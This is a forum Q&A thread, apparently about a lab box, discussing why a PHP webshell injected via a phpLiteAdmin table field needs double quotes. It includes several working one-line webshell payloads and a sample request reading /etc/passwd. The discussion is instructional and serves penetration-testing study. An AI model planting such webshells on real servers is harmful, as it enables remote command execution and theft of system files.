0

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit:

https://www.exploit-db.com/exploits/24044

I tried to use this code to make a php webshell:

?php $cmd=$_GET['cmd'];system($cmd);?

It fails (results in the white screen of death). However, if I change the single quotes to double quotes, it works, as here:

?php $cmd=$_GET["cmd"];system($cmd);?

Every source I looked at for code for a webshell had single quotes around cmd, no matter which variation it was, and none of them mentioned the possibility of it needing double quotes. Here's an example of a page that outlines how to do it:

https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/rce

Does anyone know why it only works with the double quotes? Why do all of the other examples I found show single quotes with no mention of the possibility of needing double quotes?

3
  • You need to understand where this code is injected to know why it behaves like that. So my question to you : where exactly is your rev shell code injected ?
    – Jason Krs
    Jul 20 '21 at 16:58
  • 2
    Likely because something is escaping the quotes. In fact you can forgo the quotes completely.<?=system($_GET[cmd])?> It will cause a complaint but it's usually suppressed by the PHP settings.
    – wireghoul
    Jul 21 '21 at 4:56
  • To inject the rev shell code, I make a database in the phpliteadmin and then add a table in it that holds the code (in the default value field).
    – ATuttle
    Jul 21 '21 at 16:28
1

Without seeing the code you're injecting into, it's hard to tell. It would be nice to see your entire payload too.

To be clear, the parameter name, cmd in this case, does not need to be enclosed in double quotes, single quotes will work as well,

For example,

$cmd = $_GET['cmd'];
echo system($cmd);

A request to https://example.com/foo.php?cmd=cat+/etc/passwd will work. This will also work in the case of double quotes.

There is a big difference in the way PHP handles strings with double quotes versus single quotes; it's called "variable expansion". Single quotes will not expand variables, but double quotes will. Check this:

Double quotes (variable expansion)

    $ip = "127.0.0.1";
    $command = "ping $ip";
    echo $command;

  Output: ping 127.0.0.1

Single quotes (NO variable expansion)

    $ip = "127.0.0.1";
    $command = 'ping $ip';
    echo $command;

 Output: ping $ip

Notice the $ip variable's value is not derived because the string is built with single quotes, which will not perform variable interpolation. If the original example's system() call is enclosed in single quotes, it will fail.

So my guess, without looking into the code base, is the payload you're trying to use would require variable expansion in the context the string is being used.

The easier explanation would be single quotes are breaking the code you're injecting into, f.e, eval('$cmd=$_GET['cmd'];system($cmd);'), or single quotes are being sanitized.

Side note: when dealing with payloads in GET requests, remember to URL encode.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.